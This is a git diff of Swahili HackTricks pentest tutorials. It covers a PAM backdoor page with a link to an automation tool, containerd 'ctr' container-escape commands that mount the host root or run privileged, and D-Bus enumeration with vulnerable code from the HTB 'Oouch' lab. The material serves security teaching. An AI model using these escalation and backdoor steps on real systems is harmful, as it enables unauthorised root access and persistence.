- Ufikiaji unaruhusiwa kwenye huduma mbalimbali (login, ssh, sudo, su, screensaver) kwa kutumia nywila iliyopangwa, wakati mchakato wa kawaida wa uthibitishaji unaendelea kama kawaida.
|
||||
- Ufikiaji unaruhusiwa kwenye huduma mbalimbali (ingia, ssh, sudo, su, skrini ya kuficha) kwa kutumia nenosiri lililopangwa, wakati mchakato wa kawaida wa uthibitishaji unabaki bila kuharibiwa.
|
||||
|
||||
{% hint style="info" %}
|
||||
Unaweza kiotomatisha mchakato huu na [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
Unaweza kiotomatisha mchakato huu kwa kutumia [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu wa AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu wa GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# Kupandisha Hadhi ya Mamlaka ya Containerd (ctr)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
|
|
@ -24,7 +25,7 @@ Nenda kwenye kiungo kifuatacho kujifunza **ni nini containerd** na `ctr`:
|
|||
|
||||
## PE 1
|
||||
|
||||
ikiwa unagundua kuwa mwenyeji una amri ya `ctr`:
|
||||
ikiwa utagundua kwamba mwenyeji una amri ya `ctr`:
|
||||
```bash
|
||||
which ctr
|
||||
/usr/bin/ctr
|
||||
|
|
@ -36,33 +37,34 @@ REF TYPE
|
|||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
Na kisha **endesha moja ya picha hizo ukiunganisha saraka ya mizizi ya mwenyeji**:
|
||||
Na kisha **endesha moja ya picha hizo ukiunganisha folda ya mizizi ya mwenyeji kwake**:
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
## PE 2
|
||||
|
||||
Chalaza chombo kwa haki za juu na kutoroka kutoka kwake.\
|
||||
Unaweza kuchalaza chombo chenye haki za juu kama:
|
||||
Endesha kontena kwa haki za juu na kutoroka kutoka humo.\
|
||||
Unaweza kuendesha kontena lenye haki za juu kama:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
Kisha unaweza kutumia baadhi ya mbinu zilizotajwa katika ukurasa ufuatao **kutoroka kutoka kwayo kwa kutumia uwezo wa kipekee**:
|
||||
Kisha unaweza kutumia baadhi ya mbinu zilizotajwa kwenye ukurasa ufuatao **kutoroka kutoka kwayo kwa kutumia uwezo uliopewa kwa mamlaka**:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,26 +1,27 @@
|
|||
# Uchunguzi wa D-Bus na Kujiongezea Mamlaka kwa Kutumia Amri
|
||||
# Uchambuzi wa D-Bus & Upelelezi wa Amri na Upelekezaji wa Amri
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Uchunguzi wa GUI**
|
||||
## **Uchambuzi wa GUI**
|
||||
|
||||
D-Bus hutumiwa kama mpatanishi wa mawasiliano kati ya michakato kwenye mazingira ya desktop ya Ubuntu. Kwenye Ubuntu, utaona uendeshaji wa pamoja wa mabasi kadhaa ya ujumbe: basi la mfumo, linalotumiwa hasa na **huduma zenye mamlaka ya juu kuonyesha huduma muhimu kote kwenye mfumo**, na basi la kikao kwa kila mtumiaji aliyeingia, linaloonyesha huduma muhimu tu kwa mtumiaji huyo maalum. Hapa, lengo kuu ni basi la mfumo kutokana na uhusiano wake na huduma zinazofanya kazi kwa mamlaka ya juu (k.m., root) kwani lengo letu ni kuongeza mamlaka. Inafahamika kuwa muundo wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inahusika na kupeleka ujumbe wa wateja kwa huduma sahihi kulingana na anwani iliyoainishwa na wateja kwa huduma wanayotaka kuwasiliana nayo.
|
||||
D-Bus hutumiwa kama mpatanishi wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Kwenye Ubuntu, operesheni za wakati mmoja za mabasi kadhaa ya ujumbe zinaonekana: basi la mfumo, linalotumiwa hasa na **huduma zenye mamlaka kufunua huduma zinazofaa kote kwenye mfumo**, na basi la kikao kwa kila mtumiaji aliyeingia, linalofunua huduma zinazofaa tu kwa mtumiaji huyo maalum. Kuzingatia hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazoendeshwa kwa mamlaka ya juu (k.m., root) kwa sababu lengo letu ni kukuza mamlaka. Inabainika kuwa usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inahusika na kupelekeza ujumbe wa mteja kwenye huduma sahihi kulingana na anwani iliyotajwa na wateja kwa huduma wanayotaka kuwasiliana nayo.
|
||||
|
||||
Huduma kwenye D-Bus zinatambuliwa na **vitu** na **interfaces** wanazotoa. Vitu vinaweza kufananishwa na instensi za darasa katika lugha za OOP za kawaida, na kila instensi inatambuliwa kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambua kipekee kila kitu kinachotolewa na huduma. Kiolesura muhimu kwa madhumuni ya utafiti ni kiolesura cha **org.freedesktop.DBus.Introspectable**, kikiwa na njia moja tu, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono na kitu, ishara, na mali, na lengo kuu hapa ni njia huku mali na ishara zikisahauliwa.
|
||||
Huduma kwenye D-Bus zinatambuliwa na **vitu** na **interfaces** wanazofunua. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, kila mifano ikitambuliwa kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambua kila kitu kinachofunuliwa na huduma. Kiolesura muhimu kwa madhumuni ya utafiti ni **org.freedesktop.DBus.Introspectable** interface, ikionyesha njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono na kitu, ishara, na mali, na kuzingatia hapa kwenye njia wakati wa kupuuza mali na ishara.
|
||||
|
||||
Kwa mawasiliano na kiolesura cha D-Bus, zilitumika zana mbili: zana ya CLI iliyoitwa **gdbus** kwa wito rahisi wa njia zinazotolewa na D-Bus kwenye hati, na [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), zana ya GUI iliyoundwa kwa Python ili kuorodhesha huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
|
||||
Kwa mawasiliano na kiolesura cha D-Bus, zana mbili zilitumiwa: zana ya CLI inayoitwa **gdbus** kwa wito rahisi wa njia zinazofunuliwa na D-Bus katika hati za maandishi, na [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), zana ya GUI iliyoandikwa kwa Python iliyoundwa kuchambua huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
|
|
@ -29,21 +30,21 @@ sudo apt-get install d-feet
|
|||
|
||||
|
||||
|
||||
Katika picha ya kwanza, huduma zilizosajiliwa na D-Bus kwenye mfumo wa basi zinaonyeshwa, na **org.debin.apt** ikilengwa hasa baada ya kuchagua kifungo cha Basi la Mfumo. D-Feet inauliza huduma hii kwa vitu, inaonyesha interface, njia, mali, na ishara kwa vitu vilivyochaguliwa, kama inavyoonekana kwenye picha ya pili. Saini ya kila njia pia imeelezewa.
|
||||
Katika picha ya kwanza huduma zilizosajiliwa na basi la mfumo la D-Bus zinaonyeshwa, na **org.debin.apt** ikisisitizwa hasa baada ya kuchagua kitufe cha Basi la Mfumo. D-Feet inauliza huduma hii kwa vitu, ikionyesha viunganishi, njia, mali, na ishara kwa vitu vilivyochaguliwa, vinavyoonekana katika picha ya pili. Saini ya kila njia pia imeelezewa.
|
||||
|
||||
Kitu cha kuzingatia ni kuonyeshwa kwa **kitambulisho cha mchakato (pid)** na **mstari wa amri**, ambao ni muhimu kwa kuthibitisha ikiwa huduma inaendeshwa na mamlaka ya juu, jambo muhimu kwa utafiti unaofaa.
|
||||
Kipengele kinachoweza kuzingatiwa ni kuonyesha **kitambulisho cha mchakato (pid)** na **mstari wa amri**, muhimu kwa kuthibitisha ikiwa huduma inaendeshwa na mamlaka ya juu, muhimu kwa uhusiano wa utafiti.
|
||||
|
||||
**D-Feet pia inaruhusu wito wa njia**: watumiaji wanaweza kuingiza maelezo ya Python kama parameta, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kuzipitisha kwa huduma.
|
||||
**D-Feet pia inaruhusu wito wa njia**: watumiaji wanaweza kuingiza maneno ya Python kama parameta, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kuzipitisha kwa huduma.
|
||||
|
||||
Hata hivyo, kumbuka kuwa **baadhi ya njia zinahitaji uwakilishi** kabla ya kuturuhusu kuziita. Tutapuuza njia hizi, kwani lengo letu ni kuinua mamlaka yetu bila kuwa na nywila kwanza.
|
||||
Hata hivyo, kumbuka kwamba **baadhi ya njia zinahitaji uthibitisho** kabla ya kuturuhusu kuziita. Tutapuuza njia hizi, kwani lengo letu ni kuboresha haki zetu bila vibali kwanza.
|
||||
|
||||
Pia kumbuka kuwa baadhi ya huduma zinauliza huduma nyingine ya D-Bus iliyoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
|
||||
Pia eleza kwamba baadhi ya huduma huzululiza huduma nyingine ya D-Bus inayoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
|
||||
|
||||
## **Uchunguzi wa Mstari wa Amri**
|
||||
## **Uorodheshaji wa Amri za Cmd**
|
||||
|
||||
### Orodhesha Vitu vya Huduma
|
||||
|
||||
Inawezekana kuorodhesha interface za D-Bus zilizofunguliwa na:
|
||||
Inawezekana kuorodhesha viunganishi vilivyofunguliwa vya D-Bus na:
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
|
|
@ -67,11 +68,11 @@ org.freedesktop.PolicyKit1 - - - (act
|
|||
org.freedesktop.hostname1 - - - (activatable) - -
|
||||
org.freedesktop.locale1 - - - (activatable) - -
|
||||
```
|
||||
#### Uhusiano
|
||||
#### Uunganisho
|
||||
|
||||
[Kutoka wikipedia:](https://sw.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoweka uhusiano na basi, basi inamteua uhusiano jina maalum la basi linaloitwa _jina la uhusiano la kipekee_. Majina ya basi ya aina hii hayabadiliki - inahakikishwa kuwa hayatabadilika muda mrefu uhusiano unapoendelea kuwepo - na, zaidi ya hayo, hawezi kutumika tena wakati wa maisha ya basi. Hii inamaanisha kuwa hakuna uhusiano mwingine na basi hiyo atapewa jina la uhusiano la kipekee kama hilo, hata ikiwa mchakato huo hufunga uhusiano na basi na kuunda mpya. Majina ya uhusiano ya kipekee ni rahisi kutambulika kwa sababu yananza na herufi ya mkato - ambayo kwa kawaida haikubaliki.
|
||||
[Kutoka kwa wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoweka uhusiano na basi, basi humpa uhusiano jina maalum la basi linaloitwa _jina la kipekee la uhusiano_. Majina ya basi ya aina hii hayawezi kubadilishwa - inahakikishiwa kuwa hayatabadilika muda mrefu uhusiano upo - na, zaidi ya yote, haviwezi kutumika tena wakati wa maisha ya basi. Hii inamaanisha kuwa hakuna uhusiano mwingine kwenye basi hilo ambao utapewa jina la kipekee la uhusiano, hata kama mchakato huo huo unafunga uhusiano na basi na kuunda mpya. Majina ya kipekee ya uhusiano ni rahisi kutambulika kwa sababu huanza na herufi ya—ambayo kwa kawaida ni marufuku—ya mkato.
|
||||
|
||||
### Habari ya Kitu cha Huduma
|
||||
### Taarifa ya Kitu cha Huduma
|
||||
|
||||
Kisha, unaweza kupata habari fulani kuhusu kiolesura na:
|
||||
```bash
|
||||
|
|
@ -143,9 +144,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
|||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Kuchunguza Kiolesura cha Kitu cha Huduma
|
||||
### Angalia Kiolesura cha Kitu cha Huduma
|
||||
|
||||
Tazama jinsi katika mfano huu ilivyochaguliwa kiolesura cha hivi karibuni kilichogunduliwa kwa kutumia parameter ya `tree` (_angalia sehemu iliyotangulia_):
|
||||
Tazama jinsi katika mfano huu ilivyochaguliwa kiolesura cha hivi karibuni kilichogunduliwa kwa kutumia parameter ya `tree` (_angalia sehemu iliyopita_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
|
|
@ -163,16 +164,14 @@ org.freedesktop.DBus.Properties interface - - -
|
|||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Chukua tahadhari na njia `.Block` ya kiolesura `htb.oouch.Block` (ile tunayopendezwa nayo). "s" katika safu zingine inaweza kuashiria kuwa inatarajia herufi.
|
||||
### Kufuatilia/ Kukamata Kiolesura
|
||||
|
||||
### Kufuatilia/Kukamata Kiolesura
|
||||
Ukiwa na mamlaka za kutosha (mamlaka ya `send_destination` na `receive_sender` pekee sio za kutosha) unaweza **kufuatilia mawasiliano ya D-Bus**.
|
||||
|
||||
Ukiwa na mamlaka ya kutosha (mamlaka ya `send_destination` na `receive_sender` pekee hayatoshi), unaweza **kufuatilia mawasiliano ya D-Bus**.
|
||||
|
||||
Ili **kufuatilia** **mawasiliano**, utahitaji kuwa **root**. Ikiwa bado una matatizo kuwa root, angalia [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) na [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
Ili **kufuatilia** **mawasiliano** utahitaji kuwa **root**. Ikiwa bado unaona matatizo kuwa root angalia [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) na [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ikiwa unajua jinsi ya kusanidi faili ya usanidi ya D-Bus ili **kuruhusu watumiaji wasio na mamlaka ya root kufuatilia** mawasiliano, tafadhali **wasiliana nami**!
|
||||
Ikiwa unajua jinsi ya configure faili ya usanidi ya D-Bus ili **kuruhusu watumiaji wasio na mamlaka ya kuchunguza** mawasiliano tafadhali **wasiliana nami**!
|
||||
{% endhint %}
|
||||
|
||||
Njia tofauti za kufuatilia:
|
||||
|
|
@ -181,7 +180,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
|||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
Katika mfano ufuatao, kiolesura `htb.oouch.Block` kinachunguzwa na **ujumbe "**_**lalalalal**_**" unatumwa kupitia mawasiliano yasiyofaa**:
|
||||
Katika mfano ufuatao kiolesura `htb.oouch.Block` kinachunguzwa na **ujumbe "**_**lalalalal**_**" hutumwa kupitia mawasiliano mabaya**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
|
|
@ -200,15 +199,13 @@ MESSAGE "s" {
|
|||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
Unaweza kutumia `capture` badala ya `monitor` ili kuokoa matokeo katika faili ya pcap.
|
||||
#### Kuchuja kelele zote <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
#### Kuchuja kelele zote <a href="#kuchuja_kelele_zote" id="kuchuja_kelele_zote"></a>
|
||||
|
||||
Ikiwa kuna habari nyingi sana kwenye basi, tumia sheria ya kulingana kama ifuatavyo:
|
||||
Ikiwa kuna habari nyingi sana kwenye basi, pitisha sheria ya kupatana kama ifuatavyo:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Sheria kadhaa zinaweza kutajwa. Ikiwa ujumbe unalingana na _mojawapo_ ya sheria hizo, ujumbe utachapishwa. Kama ifuatavyo:
|
||||
Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
|
@ -216,15 +213,15 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
|||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Angalia [hati ya D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) kwa maelezo zaidi juu ya sintaksia ya sheria za mechi.
|
||||
Tazama [nyaraka ya D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) kwa maelezo zaidi kuhusu sintaksia ya sheria za mechi.
|
||||
|
||||
### Zaidi
|
||||
|
||||
`busctl` ina chaguo zaidi, [**pata zote hapa**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
`busctl` ina chaguo zaidi, [**pata yote hapa**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
## **Hali ya Kudhoofika**
|
||||
|
||||
Kama mtumiaji **qtc ndani ya mwenyeji "oouch" kutoka HTB**, unaweza kupata **faili ya usanidi ya D-Bus isiyotarajiwa** iliyoko _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
Kama mtumiaji **qtc ndani ya mwenyeji "oouch" kutoka HTB** unaweza kupata **faili ya usanidi ya D-Bus isiyotarajiwa** iliyoko _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
|
|
@ -245,9 +242,9 @@ Kama mtumiaji **qtc ndani ya mwenyeji "oouch" kutoka HTB**, unaweza kupata **fai
|
|||
|
||||
</busconfig>
|
||||
```
|
||||
Tahadhari kutoka kwa usanidi uliopita kwamba **utahitaji kuwa mtumiaji `root` au `www-data` ili kutuma na kupokea habari** kupitia mawasiliano ya D-BUS haya.
|
||||
Tafadhali kumbuka kutoka kwenye mazingira ya awali kwamba **utahitaji kuwa mtumiaji `root` au `www-data` ili kutuma na kupokea habari** kupitia mawasiliano ya D-BUS haya.
|
||||
|
||||
Kama mtumiaji **qtc** ndani ya kontena la docker **aeb4525789d8** unaweza kupata nambari kadhaa zinazohusiana na dbus katika faili _/code/oouch/routes.py._ Hii ndiyo nambari inayovutia:
|
||||
Kama mtumiaji **qtc** ndani ya kontena la docker **aeb4525789d8** unaweza kupata nambari fulani inayohusiana na dbus kwenye faili _/code/oouch/routes.py._ Hii ndio nambari inayovutia:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
|
|
@ -259,14 +256,14 @@ response = block_iface.Block(client_ip)
|
|||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
